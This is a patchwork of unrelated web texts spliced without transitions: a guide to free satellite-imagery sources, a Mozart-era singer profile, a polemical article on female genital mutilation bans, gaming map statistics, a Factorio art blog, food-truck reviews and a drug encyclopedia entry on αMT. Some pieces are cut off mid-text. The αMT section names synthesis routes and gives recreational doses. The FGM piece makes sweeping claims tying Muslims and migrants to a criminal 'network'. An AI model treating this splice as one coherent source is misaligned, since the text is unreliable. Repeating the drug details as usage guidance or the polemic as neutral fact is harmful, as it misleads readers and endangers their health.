Sentinel-2a and 2b have crisper spatial resolution (10 meters in the visible and near-infrared). More spectral bands (12 in total). And most important of all, it’s free satellite imagery for the masses.
(10 meters in the visible and near-infrared). (12 in total). And most important of all, it’s free satellite imagery for the masses. Add Sentinel-1 into the equation. Now, you have C-band Synthetic Aperture Radar of the entire world at your fingertips. Simply put, Sentinel satellites give you high quality passive and active data of the entire Earth.
READ MORE: What’s the Difference Between Active and Passive?
In the last year or so, ESA’s Sentinel 2A has dethroned Landsat as the undisputed world champion of free high spatial resolution satellite data. Bold statement? SAR-C from Sentinel-1. Add the 12 spectral bands from Sentinel 2A. It’s not such a bold statement, after all.
ESA’s Copernicus Programme is the start of a new and exciting era for the remote sensing community. They will launch 5 more Earth observing satellites along with the Sentinel-2 Toolbox for processing and analyzing Sentinel data and imagery
You’re wise to take a look at the sharpest, free satellite imagery source available from the European Space Agency.
Download Sentinel Data: How to Download Free Satellite Data (Sentinel-1 and 2A) from the Sentinel Science Data Hub
3 NOAA CLASS – An Ocean of Free Satellite Data
Set sails.
Because NOAA will take you on a journey to fistsful of free high quality atmospheric data sets (and more).
NOAA uses an online library system called the Comprehensive Large Array-data Stewardship System (CLASS) to store a plethora of environmental data. Data comes from the US Department of Defense (DoD) Polar-orbiting Operational Environmental Satellite (POES), NOAA’s Geostationary Operational Environmental Satellite (GOES), and other derived data.
Currently, the NOAA National Data Centers support POES, DMSP, GOES, MetOp, Jason-2 data, and selected model reanalysis data. It will archive data collections from the NPP, JPSS (formerly NPOESS), GOES-R, Jason-3, and planned Earth-based observing systems include NEXRAD products.
A LOT is here. But we found it a bit hard to navigate in NOAA’s CLASS. The user-friendliness from the USGS Earth Explorer and Sentinel Science Data Hub simply can’t be beat.
4 NASA Earthdata Search – Satellite Data from the Masters
There’s a lot to like about NASA’s Earthdata Search. Especially, after it’s new facelift. It has a fresh new look and interface for discovering Earth Science data, NASA’s Earthdata Search contends
First off – the choices of satellite data is incredible:
Aqua, Terra, Aura, TRMM, CALIPSO, NASA DC, ENVISAT, METEOSAT, GOES, Landsat, SMAP, MERRA, Nimbus, Suomi-NPP, NOAA satellites, GPS satellites, the list goes on…
Admittedly, it takes a bit of practice to navigate. There are 30 ways to narrow down your data. Our suggestion is to start with a simple search. Change the time range criteria. Narrow it down, and download your free satellite imagery.
You’ll get the hang of it, after a couple of tries.
This NASA’s EarthData Search Usage Tutorial will help.
5 Earth Observation Link (EOLi) – ESA’s EO Catalogue
The Earth Observation Link (EOLi) is the European Space Agency’s client for Earth Observation Catalog and Ordering Services.
The EOLi is a bit dated. It’s a JAVA application that you can download to your PC. It works on any major operating system.
While slow and buggy, you can browse and preview images from Earth Observation data from Envisat, ERS, IKONOS, DMC, ALOS, SPOT, Kompsat, Proba, IRS, SCISAT.
Select your study area or add a shapefile or KMZ. Select your satellite collection with a limit of 10 to search from. Click “Search catalogue”. If satellite data is available, click Append. The search results will be shown in the bottom with scene previews on the right. Select the scene you want to download, and click the order button (shopping cart).
6 National Institute for Space Research (INPE)
The partnership between Brazil and China has their own image catalog of remotely-sensed data which lets you download free satellite imagery using the INPE Image Catalog.
The catalog includes satellite imagery from their own China–Brazil Earth Resources Satellite 2 and 2b (CBERS-2, CBERS-2b). It includes satellites from the United States, the United Kingdom and the India from Aqua, CBERS, Landsat, ResourceSat, S-NPP, Terra & UK-DMC 2.
The one caveat is that the data is specific to South America and Africa. You’ll have to create an account because each request you make will be sent to your email. You can use your English translation to translate from Portuguese.
Select your satellite and sensor. Choose a country in South America and Africa. Add it to your cart, and click “Go Ahead”. From there you can download your chosen free satellite imagery from the INPE FTP site.
7 Bhuvan Indian Geo-Platform of ISRO
India has really made big strides in satellite remote sensing technology. It dates back to 1998 with the launch of the Indian Remote Sensing (IRS 1A) satellite.
Now, data is available on the Bhuvan Indian Geo-Platform. The platform is well-built but most of the data is for India only. This includes IMS-1 (Hyperspectral), Cartosat, OceanSat and ResourceSat – which are all Indian satellites.
The following products are available to download outside of India – NDVI (Normalized Difference Vegetation Index) Global Coverage, CartoDem Version -3R1 for SAARC countries and Climate products for North Indian Ocean.
8 JAXA’s Global ALOS 3D World
The ALOS World 3d is a 30-meter spatial resolution digital surface model (DSM) constructed by the Japan Aerospace Exploration Agency’s (JAXA). Recently, this DSM has been made available to the public.
The neat thing about is that it is the most precise global-scale elevation data at this time using the Advanced Land Observing Satellite “DAICHI” (ALOS) – PALSAR’s L-band. JAXA’s SAR mosaics is an exciting development for global elevation.
In order to obtain this highly accurate DSM, you’ll have to register online through the JAXA Global ALOS portal to download it.
9 NOAA Data Access Viewer – Discover Authoritative Datasets
Once upon a time, the NOAA Aerial Photo Ordering System was the place to go for aerial photos in the United States. It’s currently MIA – missing in action.
NOAA Data Access Viewer is now the place to go for imagery, land cover and elevation data. Here’s where you discover authoritative datasets, customize and download the latest, greatest data – all free.
It’s in beta mode now. The download speeds are slow and sluggish. There’s no registration needed in beta mode – which is its current state at this time. We’ll be adjusting this write-up as all the kinks get ironed out.
10 VITO Vision – Coarse Vegetation Data
The VITO Vision website offers PROBA-V, SPOT-Vegetation and METOP free satellite imagery. These coarse resolution satellites carves out vegetation patterns of the Earth’s surface.
It takes some time and effort to create an account for VITO Vision. The interface is easy-to-use and delivers free low resolution satellite data at your fingertips.
This type of data is a good for large-scale applications that doesn’t need the finer details.
11 NOAA Digital Coast – Snorkel the Seashore
It’s all about the beautiful seashore, when you’re exploring for data on NOAA’s Digital Coast. Coastal data is all you’re going to get.
To download data, select your area of interest. Define your data set to download. And sift through the results. You have benthic, elevation, imagery, land cover and socio-economic data. You get a range of free satellite imagery to choose from such as radar, infrared and true color composites.
12 Global Land Cover Facility – Derived Satellite Data
Landcover.org is your location for derived global land cover data from Landsat, MODIS and AVHRR satellite imagery.
Using Global Land Cover Facility (GLCF) land cover, research efforts can quantify land cover and land cover change around the world. This includes vegetation, geologic, agriculture, hydrologic and urban areas on the Earth’s surface.
We have never had this good of a perspective of our changing planet because of satellite imagery. Some of the biggest challenges that our planet faces can be better understood because remote sensing cover that much ground.
13 DigitalGlobe Free Product Samples
DigitalGlobe is the THE largest commercial satellite data supplier in the world… If you want to play with some of the sharpest satellite data in the world, these free satellite imagery samples are just for you.
You can almost see license plates with the 30 cm spatial resolution data from the newly launched WorldView-3 satellite.
with the 30 cm spatial resolution data from the newly launched WorldView-3 satellite. The spectacular Advanced Elevation Series shines in fields such as exploration, engineering, land management and simulation.
Test high spatial resolution short-wave infrared (SWIR) bands and see the invisible range that can’t be seen with the human eye.
DigitalGlobe always delivers on their promise on seeing a better world.
See DigitalGlobe’s product samples and find out exactly what you are missing out on.
14 Geo-Airbus – Intercontinental Champions of Satellite Imagery
The Geo Airbus Defense System is your provider for SPOT, Pleiades, RapidEye and TerraSAR data. Timely and accurate satellite data from these satellites are being used in a variety of fields like security, oil & gas, mining & energy, agriculture, environment and disaster mapping.
It offers sample products for you to experiment with. And there’s a lot to work with here, with beautiful satellite imagery of places around the world.
Geo Airbus Defense Systems is your provider for these specific satellites. There are a couple of locations to download sample data. See below:
15 UNAVCO Research Data
If you don’t know who UNAVCO is, here’s a quick and helpful 3 minute video to learn what UNAVCO is all about – UNAVCO Explained in 3 Minutes.
University NAVSTAR Consortium (UNAVCO) is an organization of universities who support scientific research using geodesy technology. Flooding, plate tectonics, earthquakes – our world is all connected. UNAVCO promotes research by providing access to geodesy data. They do this with their own UNAVCO SAR Archive Search User Interface.
This website is flooded with Synthetic Aperture Radar satellites sources – and that’s a good thing. But you’ll need a username and password to get your hands on your very own SAR data. This could be a big hurdle in the process.
What’s Next?
Satellite data has opened up new channels on how we view the planet.
You’ve learned that instead of spending days searching for a good basemap, you can tap into this list of free satellite imagery data.
You’ve learned some of the key data centers to obtain free satellite imagery from around the globe.
…But did we miss anything?
Soprano Catherine Bott investigates the career and voice of the woman who first performed one of Mozart's finest operatic roles - Susanna in The Marriage of Figaro - 21 year old Londoner Nancy Storace.
Nancy was an 18th century superstar, who sang personally for Marie Antoinette as well as Napoleon and Josephine, and whose life was as dramatic as the times she lived through.
Nancy was musically talented from childhood and in 1778, aged 14, she was accompanied to Italy, where her reputation soon spread. Four years later, she was one of a company of performers recruited to work for Emperor Joseph II's court in Vienna.
Exploring Nancy's relationship with Mozart, Catherine meets the distinguished conductor, Jane Glover CBE, Director of Opera at the Royal Academy, Music Director of Chicago's Music of the Baroque, and author of the book Mozart's Women: His Family, His Friends, His Music. Jane is convinced there is no foundation in the rumours that the two were ever lovers, but she is certain they were very close, and that Nancy had important creative input into the development of Susanna, in the Marriage of Figaro.
But Nancy's personal life was a disaster - her mother forced her into an arranged marriage to a British actor, John Fisher, who beat her, and only the personal intervention of the Emperor rescued the situation.
Ian Page, founder, conductor and artistic director of the company Classical Opera, accompanies Catherine in a rendition of the concert aria Ch'io mi accordi di te? (You ask that I forget you?), written by Mozart for Nancy to perform the evening before she left Vienna to return to London, in 1787. Nancy never went back to Vienna.
Produced by Bob Dickinson
Maine will try again on Aug. 2 to become the 25th state to ban the barbaric Third World practice that involves cutting the genitals of young girls.
Liz Yore is an attorney who has served as general counsel to child welfare agencies and a former member of the National Center for Missing and Exploited children. As an international child advocate, she said she never thought she would see such a gruesome practice taking root in America, preying on its defenseless little girls.
Yet, it’s been a struggle to get some lawmakers to see the necessity of passing state bans on the FGM.
The fickle nature of the federal FGM ban, adopted in 1996, was exposed for all to see under President Obama – his Department of Justice under Eric Holder and Loretta Lynch simply closed its eyes to female genital mutilation, never prosecuting a single case.
That lack of interest in a form of torture on young girls persisted even though the evidence is now breaking open, thanks to a federal investigation in Detroit launched by U.S. Attorney General Jeff Sessions.
What Sessions’ staff is discovering is that it’s not just Minnesota and Michigan that are at risk. There’s a secret underground of at least eight states involved.
Maine has been identified as one of the eight “high risk” states, largely because of its large population of Somali refugees. More than 97 percent of women in Somalia have had their genitals mutilated by the time they reach adulthood. The numbers are similar in Egypt, Sudan and Indonesia.
Yore said FGM bears similarities to human trafficking.
“In the 1990s when I was at the National Center for Missing and Exploited Children, we were seeing Muslim fathers abducting their children born in the U.S., and the mothers left behind were telling me about FGM, and that’s when I first became aware of it,” Yore told WND.
“I thought I had seen everything but to have this brutality imported into our country is extremely troubling,” she said. “It’s especially heinous, and very much like human trafficking.”
Human trafficking is defined as the recruitment, transporting, or harboring, of persons by means of abduction, coercion, fraud and deceit. It involves an abuse of power, for the purposes of exploitation.
“The difference is there’s a profit motive in regular human trafficking. Otherwise, it’s identical with FGM. Trafficking usually involves sexual exploitation or labor, but these little girls are brought to their mutilators often across state lines, or trafficked overseas and then brought back to their homes,” Yore said. “It’s done in secret. Money changes hands, but it is primarily for to fulfill a religious custom.”
Thanks to the federal investigation into the Detroit area mutilations, the methods of the FGM network in America are beginning to come into focus.
“These little girls were trafficked from Minnesota and other states to Michigan, with the case now expanding to Chicago, New York and L.A., and what was originally believed to have been just two young victims is now more than 100,” Yore said.
Maine’s bill to criminalize FGM, dubbed L.D. 745, has been voted down multiple times by state lawmakers who are putting personal politics above the protection of their youngest citizens, she said.
“The trafficking of humans has been described as modern-day slavery that robs individuals of their freedom and dignity,” Yore said. “FGM is exploding in the United States because of the growth of migrants and the conspiracy of silence among its traffickers.”
The silence in Maine and Minnesota, both of which have tried but so far failed to pass bans on the grisly practice, is deafening to activists such as Yore.
But another key vote is scheduled for Wednesday, Aug. 2. If Maine does not pass this bill, Yore said the state will become a safe harbor for human traffickers and child abusers who perform these unspeakable horrors, which involve cutting off part or all of a girl’s clitoris, depriving the girl of future sexual pleasure while instilling a life of pain and misery.
Victims of FGM often face problems later in life, including painful urination and menstruation, painful intercourse, infections and even death.
“It’s only because of the FBI hotline that we are beginning to uncover the network, and breaking through this code of silence that’s been in existence for many years,” Yore said. “This doctor in Michigan has been operating on girls since at least 2005.”
That doctor is Dr. Jumana Nagarwala, 44, an Indian Muslim who worked as an emergency room doctor at Henry Ford Hospital in Dearborn. She performed FGM on girls between the ages of 6 and 9 in her private, unnamed clinic in Lavonia, Michigan. She is part of the Dawoodi Bohra sect of Shia Muslims based in western India, but the practice of FGM is widespread among both Shia and Sunni Muslims across Africa, parts of Asia and the Middle East.
“Now, I think the doors have been flung open and here come the floodgates, and we’re going to begin to be able to put the pieces together because of this confidential hotline,” Yore said.
Even if the practice were limited to the Dawoodi Bohra, this sect has 22 mosques across the United States.
“That is a lot of potential victims, a lot of mutilators, and that’s just one cult,” Yore said.
But Yore believes the Dawoodi Bohra represent just the tip of a much larger network of FGM operating in the United States.
That belief is buttressed by the Centers for Disease Control’s 2016 estimate that 513,000 girls and young women are at risk of having FGM done to them in the United States.
‘It just hasn’t been on anyone’s radar’
“Nobody has been looking at this in the United States until now, it just hasn’t been on anyone’s radar. You have to look at this network like you look at human trafficking – it’s a network that is secret, and they’re luring girls in with lies, things like ‘you’re going to be on vacation, it’s a big party,’ and then the girls are held down while their genitals are cut off.”
“This is mothers taking their little girls to have a sexual abuse done on them.”
The scars are emotional as well as physical.
“The reconstructive surgery that has to be conducted on women, so it’s not as simple as the ACLU lawyers are arguing, it’s a severe mutilation and the recovery is a lifetime for these girls,” Yore said.
“I’ve done hundreds of child-abuse investigations, and what you find is these children who are abused have been silenced, intimidated into silence, and it’s only when they get older and learn what is criminal and what is not criminal, that they will speak up.”
She said public awareness has been raised, thanks to the Detroit investigation, but like all human trafficking it’s going to take time and years of commitment by both the federal government and the states to knock out FGM in America.
“It’s going to be a very tough slog to identify the victims, identify the mutilators, and break up the network,” she said.
Politicians will have to stand up to the ACLU, which is on the record as a powerful voice against banning FGM at the state level. ACLU lawyers use several arguments, all of which are bogus and deceitful, Yore said.
One of the arguments is that there is already a federal law against FGM, so states don’t need to enact duplicate legislation.
This is deceitful because the ACLU knows the feds don’t have the time or resources to go after all of the FGM cases, but rather will try to make an “example” of a few doctors.
“The ACLU demanded states have stalking laws, even though there is a federal stalking law. They demanded states pass human trafficking laws when there is already a federal law against that, so this argument doesn’t hold water,” Yore said.
‘Religious freedom’ argument opens door to Shariah in U.S.
Another argument against the ban is religious freedom. This is the argument being claimed by Dr. Nagarwala’s attorneys, and if it is accepted by the courts, then doors will swing wide open to the legalization of other Islamic practices, such as honor violence, polygamy and child brides.
The freedom to practice one’s religion does not extend to killing, maiming or other law-breaking, and this is backed up by hundreds of years of natural law in Western civilization, not to mention legal case law.
So Yore believes the ACLU and other leftist organizations are hiding the real reason for why they refuse to go to bat for little girls facing FGM torture.
“They worship at the altar of cultural diversity and tolerance as opposed to protecting voiceless and precious little girls,” Yore said.
“And in Maine there are some female legislators who give lip service to stopping violence against women, and then they are silent on FGM,” she continued. “I can’t imagine a more abusive practice against women and girls, and yet on the left so many so-called feminists are silent. It’s shocking to me. They should be at the forefront of fighting this battle. Little girls are being sexually disfigured for life, they should be outraged.”
“But they are afraid of being labeled as Islamophobes.”
It’s interesting that this fear of criticism extends to no other religion other than Islam in today’s world.
“Would we have claimed religious freedom for the bizarre practices of Jim Jones or Warren Jeffs? What about the Children of God cult? No, and nor should we claim this right for Islam,” Yore said.
“This is where we have to make a stand. If we cannot call this out for what it is, sheer brutality toward little girls and oppression of their femininity, and the pursuit of happiness, that is what this is all about,”she adds. “They are denying little girls the future of having sexual pleasure and bringing children into the world without this barbaric practice.”
‘Not backing down’
Yore said she, for one, will not back down to any pressures from Islamic apologists or multicultural blindness.
“This is child abuse 101 and they can try to minimize it but if you read the affidavit from the FBI case in Detroit it just sends chills up your spine,” she said. “Their attorneys say ‘oh it’s just a little nick.’ That’s a lie. We have got to draw the line.”
The Obama administration turned a blind eye, but President Trump’s Justice Department seems willing to make FGM a priority. The moment for states to act in like manner is now, Yore says.
Whether that’s somebody pulling fire alarms at the hotel, travel issues or others, the smoother the ride to The Dance, the better. But at least the issue North Carolina’s team faces is a familiar one.
North Carolina's hotel has no water at the moment, apparently due to a water main break. So the Tar Heels should feel right at home. — Luke DeCock (@LukeDeCock) March 23, 2017
The last part of DeCock’s tweet is in reference to a water shortage that forced North Carolina to move its home game against Notre Dame to Greensboro earlier this season.
And that’s a silver lining if you’re a North Carolina fan: The last time the Tar Heels dealt with a water shortage, they logged a strong performance, beating the Fighting Irish 83-76.
It's been a long time since my last stats blog, here is another one !I've been analyzing matches from last 100days with my mind focussed on the balance of the sides. A lot of stats already exist ( http://www.hltv.org/?pageid=183 ) in this domain but it's more rounds stats and it misses some interesting informations.Maps PlayedFirst stat is the number of maps played during this time period, nothing exceptional here in the distribution with Mirage and Cache being the most played.If we compare this to the hltv stats page we can see Cache is being played more often in the last months than before and Dust2 played less.
Sides Stats
1.Best sideThe idea was not to count every rounds played but only the halves results. The final graph differs slightly from the hltv graph, this one putting Cobblestone and Cache T-sided.Legend : Orange : T-side ; Blue : CT-side2.Starting sideIt's easy to think that the previous graph solve the starting side problem but it's not rigorously proven. This following graph bring us some surprises :Indeed, Cobblestone despite being T-sided in the previous graph is a map with 55% chance of win when starting CT-side. In fact, this phenomenon don't affect Train and Cache only.3. ComebacksWhy such a "problem"? We are thinking in mass that Cobblestone is T-sided and so that it's positive to start as a Terrorist but it seems not being the case.. Why?This could partially be explained by the comebacks, a.k.a. the maps won after being dominated in the first half. T-sides comebacks mean the team winning the match started CT side ! And looking to this graph can fix your mind considering the previous problem.The comeback potential is sometimes so strong for a map that it isn't that useful to choose the strongest side at the start of the match.For example with our Cobblestone problem, there are a lot more T-side comebacks, meaning teams can deal with the CT start easily.
Map Balance
Those stats and graphs can be used to determine the maps that are balanced and the others that are not.Upset powerWe can add to those 3 stats an upset factor : maps where the upsets are the more frequent being perhaps the most unbalanced (surprises happen because the game wasn't totally fair). This is only and idea, but I thought it was interesting to display it :Maps rankingCombining all this factor lead to a ranking of the most balanced maps. It's not in term of "T-sided a lot" but more "if a team has economical/quick advantage they can close they game easily".7. Train6. Cobblestone5. Inferno4. Cache...3. Mirage......2. Dust2.........1. OverpassOf course, it's something subjective and using the same stats you can argue for another order but it's my humble statistical vision ;-) I'm a bit surprised to see Overpass in here tbh.
Thanks for reading !
A remote Arctic town has hosted Alaska’s first ever legal same-sex marriage.
In an outpost that cannot be reached by road, a loving lesbian couple have been allowed to wed three days before their ceremony could technically be held.
Kristine Hilderbrand, 30 and Sarah Ellis, 34, obtained their marriage license on Monday afternoon. As they were unable to have their friends and family fly out to them later that week, magistrate Mary Treiber waivered the three-day waiting period.
‘The fact that we’re in a relationship together and have been for the last six years in this town, people have just been very accepting and it is just what it is,’ Hilderbrand said, as reported by the AP.
‘It’s been such a non-issue here for so long that we were really more focused on getting married and getting to spend the rest of our lives together. We really weren’t concerned about all the politics.’
Kelly Cahoon, 28, and Bernice Oyagak, 27, was also allowed to marry officially on Monday. They were leaving Barrow to Anchorage that night, and they didn’t want to marry in the city, the Alaska Dispatch News reported.
To mark its release, General Motors, home of Chevrolet, has also unveiled this brand, spanking new logo design which will feature on the model.
The previous 2005 Crossed Flag logo
The famous crossed-flags emblem has been worn by all series-production Corvettes built since 1953, appearing traditionally on the nose, trunk lid and cabin.
The flags are much more modern, more technical and more detailed than before
Ed Welburn, vice president for global design at General Motors, said in a press release, "The all-new, seventh-generation Corvette deserved an all-new emblem. The flags are much more modern, more technical and more detailed than before — underscoring the comprehensive redesign of the entire car.”
The Chevrolet's Corvette logo designs over the years. Which is your favourite?
Liked this? Read these!
How to brand a logo: 15 design trends for 2012
20 top tips for great logo design
Chemistry [ edit ]
αMT is tryptamine with a methyl substituent at the alpha carbon. This alpha substitution makes it a relatively poor substrate for monoamine oxidase A, thereby prolonging αMT's half-life, allowing it to reach the brain and enter the central nervous system. Its chemical relation to tryptamine is analogous to that of amphetamine to phenethylamine, amphetamine being α-methylphenethylamine. αMT is closely related to the neurotransmitter serotonin (5-hydroxytryptamine) which partially explains its mechanism of action.
Synthesis [ edit ]
The synthesis of αMT can be accomplished through several different routes, the two most widely known being the Nitroaldol Condensation between indole-3-carboxaldehyde and nitroethane under ammonium acetate catalysis and the condensation between indole-3-acetone and hydroxylamine followed by reduction of the obtained ketoxime with lithium aluminum hydride.[8]
Pharmacology [ edit ]
αMT acts as a relatively balanced reuptake inhibitor and releasing agent of the main three monoamines; serotonin, norepinephrine, and dopamine,[9] and as a non-selective serotonin receptor agonist.[10]
MAOI activity [ edit ]
αMT has been shown as a reversible inhibitor of the enzyme monoamine oxidase (MAO) in-vitro[11] and in-vivo.[12]
In rats the potency of αMT as an MAO-A inhibitor in the brain was approximately equal to that of harmaline at equimolar doses.[note 1] Dexamphetamine did not enhance the 5-hydroxytryptophan-induced rise of serotonin at any level.[13]
A typical dose of harmaline for MAO inhibition is 150 mg,[14] higher than any typical αMT dose[15] so αMT's MAOI activity at typical doses will be significant but not total. The danger rises exponentially as αMT doses approach 150 mg due to increased monoamine release and increased MAO inhibition.[clarification needed]
Metabolism [ edit ]
2-Oxo-αMT, 6-hydroxy-αMT,[16] 7-hydroxy-αMT and 1′-hydroxy-αMT were detected as metabolites of αMT in male Wistar rats .[17]
Dosage and effects [ edit ]
Under the trade name Indopan, 5-10 milligrams were used for an antidepressant effect.[medical citation needed]
With 20–30 milligrams, euphoria, empathy, and psychedelic effects become apparent and can last as long as 12 hours.[18] A dose exceeding 40 mg is generally considered strong. In rare cases or extreme doses, the duration of effects might exceed 24 hours. Users report that αMT in freebase form is smoked, with doses between and 2 and 5 milligrams.[1][unreliable source?][2]
Reported side effects include anxiety, restlessness, muscle tension, jaw tightness, pupil dilation, tachycardia, headaches, nausea, and vomiting, among other effects that might commonly be attributed to LSD, psilocybin, DMT, and MDMA, such as open-eye visuals, closed eye visuals and an altered state of mind.[2][19]
In spite of some reported experiential similarities to MDMA, the chemicals are structurally unrelated; αMT is a tryptamine while MDMA is a phenethylamine.
Like many other serotonin releasing agents, αMT's analog α-ethyltryptamine (αET) has been shown to produce long-lasting serotonergic neurotoxicity at very high doses.[20] It is possible that αMT causes the same neurotoxicity.
Legality [ edit ]
Australia [ edit ]
The 5-Methoxy analogue, 5-MeO-αMT is schedule 9 in Australia and αMT would be controlled as an analogue of this.[21]
China [ edit ]
As of October 2015 αMT is a controlled substance in China.[22]
Denmark [ edit ]
In Denmark (2010), the Danish Minister for the Interior and Health placed αMT to their lists of controlled substances (List B).[23]
Canada [ edit ]
Canada has no mention of αMT in the Controlled Drugs and Substances Act.[24]
Germany [ edit ]
αMT is listed under the Narcotics Act in schedule 1 (narcotics not eligible for trade and medical prescriptions) in Germany.[23]
Austria [ edit ]
αMT is placed under Austrian law (NPSG) Group 6.[23]
Hungary [ edit ]
αMT was controlled on the Schedule C list in Hungary in 2013.[23]
Slovakia [ edit ]
αMT was placed in 2013 on the List of Hazardous Substances in Annex, § 2 in Slovakia.[23]
Slovenia [ edit ]
αMT appeared on the Decree on Classification of Illicit Drugs in Slovenia (2013).[23]
Lithuania [ edit ]
In Lithuania (2012), αMT is controlled as a tryptamine derivative put under control in the 1st list of Narcotic Drugs and Psychotropic Substances which use is prohibited for medical purposes.[23]
Spain [ edit ]
αMT is legal in Spain.[25]
Sweden [ edit ]
Sveriges riksdags health ministry Statens folkhälsoinstitut classified αMT as "health hazard" under the act Lagen om förbud mot vissa hälsofarliga varor (translated Act on the Prohibition of Certain Goods Dangerous to Health) as of Mar 1, 2005, in their regulation SFS 2005:26 listed as alfa-metyltryptamin (AMT), making it illegal to sell or possess.[26]
UK [ edit ]
αMT was made illegal in the United Kingdom as of 7 January 2015, along with 5-MeO-DALT.[27] This was following the events of 10 June 2014 when the Advisory Council on the Misuse of Drugs recommended that αMT be scheduled as a class A drug by updating the blanket ban clause on tryptamines.[28]
USA [ edit ]
The Drug Enforcement Administration (DEA) placed αMT temporarily in schedule I of the Controlled Substances Act (CSA) on April 4, 2003, pursuant to the temporary scheduling provisions of the CSA (68 FR16427). On September 29, 2004, αMT was permanently controlled as a schedule I substance under the CSA (69FR 58050).[29]
Finland [ edit ]
AMT, alfa-methyltryptamine is a controlled drug in Finland[30]
Reported deaths [ edit ]
Deaths from αMT are rare but as a powerful monoamine releaser, injury can occur when excessive doses are taken or when taken with drugs such as MAOIs.[31] Most fatalities are not verified but those which are involve excessive doses[32] or coingestion with other drugs.[33] A British teenager died after consuming 1 g of αMT in August 2013.[34]
See also [ edit ]
Notes [ edit ]
Maher made the joke while attempting to make sense of Ivanka Trump's role in the White House and whether or not she is worthy of being the "liberal's hope" for the Trump administration. In the short exchange with New York magazine reporter Gabriel Sherman.
“A lot of us thought: Ivanka is gonna be our saving grace," said Maher. "When he’s about to nuke Finland or something, she’s gonna walk into the bedroom and say, ‘Daddy, Daddy’” joked Maher while making a lewd hand gesture. “‘Don’t do it, Daddy.’”
Maher then turned to New York magazine reporter Gabriel Sherman and asked, “Is that how you see Ivanka?” “NO,” Sherman quickly replied. “I think, again, she’s on the margins trying to save us—to the degree that she can—but Donald Trump doesn’t listen to anybody, including his own family.”
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Posted by Albert on 2016-07-08, all posts
Hello again Factorians! The GFX department is back today for covering the process of making graphics for Factorio. I'll get a bit technical, but not too much in order to don't be absolutely boring. Next comes a resumed description of the actual process, so if you are a Factorio modder this might be interesting for you.
The start of a new entity
The Game designer (kovarex) realizes that Factorio will be better with the addition of a new entity, he speaks with the team about it, most of the time he makes a prototype with a placeholder graphic, he improves the behaviour of the new entity by observing it and playing with it. Once the entity is solid we have a meeting together. We speak about guidelines and I make my contributions concerning visual requirements, colours, animations, different layers, mood, etc. Right now I'm in the middle of this process with the new pumps. See the starting of the sketching for a new entity:
3D modeling with Blender
Once the concept and the technical requirements are clear we jump into Blender for modeling. Blender is a great software which allows us to have a very flexible workflow, taking care of all our needs for the Factorio engine. Most of the time, a single entity in Factorio is pretty complex, rendered in multiple layers, and assembled again in the engine in order to work as we want. So for this we'll require multiple layers and outputs in Blender. It is very common also that once the renders are finished and all the process is done, the entity is integrated into the game and some changes are necessary, so it's very convenient to have the blend file ready to changes with the minimum effort. In order to be able to re-render by clicking just one button, we need to use RenderLayers, and/or separate scenes, possibly with addition of linking Group instances.
Scenes are always split to MODEL scene(s), and RENDER scene(s). The RENDER scene then links to all necessary scene RenderLayers via compositor nodes. It is necessary to split the scenes as compositor nodes are activated even when pressing F12, which would overwrite the render outputs accidentally, etc. Another option is batch rendering through a .bat command, but since that doesn't support RenderLayers, it is not viable for us yet.
Photoshop post-production
Almost every one of our sprites have went through Photoshop at some point, we paint hand-drawn masks to enforce contrast, make edges clearer, define shape of entities better and so on. In Photoshop, the general approach is that we take the rendered image (preferably by Place Linked function), duplicate it twice, set the duplicates to Multiply and/or Screen blend modes and give them empty(black) masks. Always is better to have the best render results directly from Blender, but reality is that many times we need a second round of tweaks. Here an example of the importance of post-production:
After effects processing
But because projects often get very large, with many output sprites, we need to automate the rendering process, for which we use After Effects. We can combine both the hand-drawn post-production in Photoshop with After Effects by importing the PSD files and/or separate layers from it. The biggest hurdle in adopting Ae workflow tends to be getting used to the layering system when putting compositions in other compositions. A good comparison is using Groups in Photoshop. In After Effects this is called pre-composing. Often you need to pre-compose / create multiple levels of compositions in order to reach desired results. Such a thing is likely to happen when: You want to treat something like 1 unit - when moving, rotating, scaling, ... You want to render some things separately. You want to apply an effect to just some layers below, but not all. You want to apply additive blending to some layer which should affect something else than just the entity (like fire on flamethrower turret). You want to use multiple layers as a matte. You want to render various time regions from the same composition (if you have multiple different outputs in one time sequence like cargo wagon, or when rendering shiftings).
Python, the final step
As the last step of our process, we use a python script spritesheeter.py made by the Factorio coders to create spritesheets ready to the engine with relevant pieces of lua code in text files, alongside with gif previews.
As always I’ll be recapping any new trucks that pop up, reviews of dishes I sampled and my overall thoughts about this month’s event in the normal format below.
New Openings
We had a solid slate of openings for the first event of the year and at least a couple more coming in the next couple months.
The Bento Box has opened a second portable unit (trailer in this case) focused on made to order ice cream. Their ice cream is frozen on cold plates and scraped into tubes. Cool concept!
Rob’s Kabobs had their opening night at the Rodeo. Rob is serving up Puerto Rican influenced kabobs at his renovated truck. I have some tasting notes in the dish reviews section below! You can also find him working at Next Door in Pittsford.
Midnight Smokin’ is the newest BBQ truck on the streets of Rochester serving up their takes on some BBQ classics. Two tastings notes from them including sides in the section below.
Didn’t get a chance to try the macarons, creme brulee or the beignets at the new truck from Sweet Sammie Janes but the lines were long and I heard some great things. Looking forward to trying them next month.
Hot Rosita’s is the latest brick and mortar restaurant to open a food truck to take their food to the streets. They are serving to go versions of their Americanized taco/burrito like food on the truck.
Dish Reviews
I went along with Chris Clemens from Exploring Upstate and we sampled food from a number of different trucks. Pics and descriptions below!
We tried two different kabobs at Rob’s Kabobs: the fried chicken and plantain and the sweet heat chicken. The chicken and plantain was a standout with crispy yet tender chicken with perfect seasoning. The sheet heat was better than I expected since I typically do not prefer sweeter BBQ sauces. The veg and pineapple on the kabob helped to break up the flavors.
Hot Rosita’s served me up a pork taco to try towards the end of my run. If you’re a fan of Chipotle style Mexican food, Hot Rosita’s is right up your alley with even more selection.
Overall Thoughts
Thanks to my friend Chris Clemens for joining the eating party and allowing me to sample food from a good chunk of the new food trucks without being a complete monster in the process. I was pretty happy with the overall quality of the new food and of course expect them all to get better as the season goes on. Seeing all the familiar faces behind the truck windows was fantastic and I could tell everyone was ready for the season to really kick into high gear.
Rumor is that there will be a pressed sandwich truck and another Asian themed truck soon.
For more than 20 years, researchers have been working toward antidotes to that challenge. In precession electron diffraction and electron diffraction tomography, two experimental methods often used together, the electron beam is tilted away from (rather than aligned with) the crystal zone axes; the net effect is the reduced influence of multiple scattering and crystal imperfections. And with a third technique, dynamical diffraction theory, researchers seek to accurately model the remaining multiple scattering to reliably transform the diffraction patterns into a precise atomic structure.
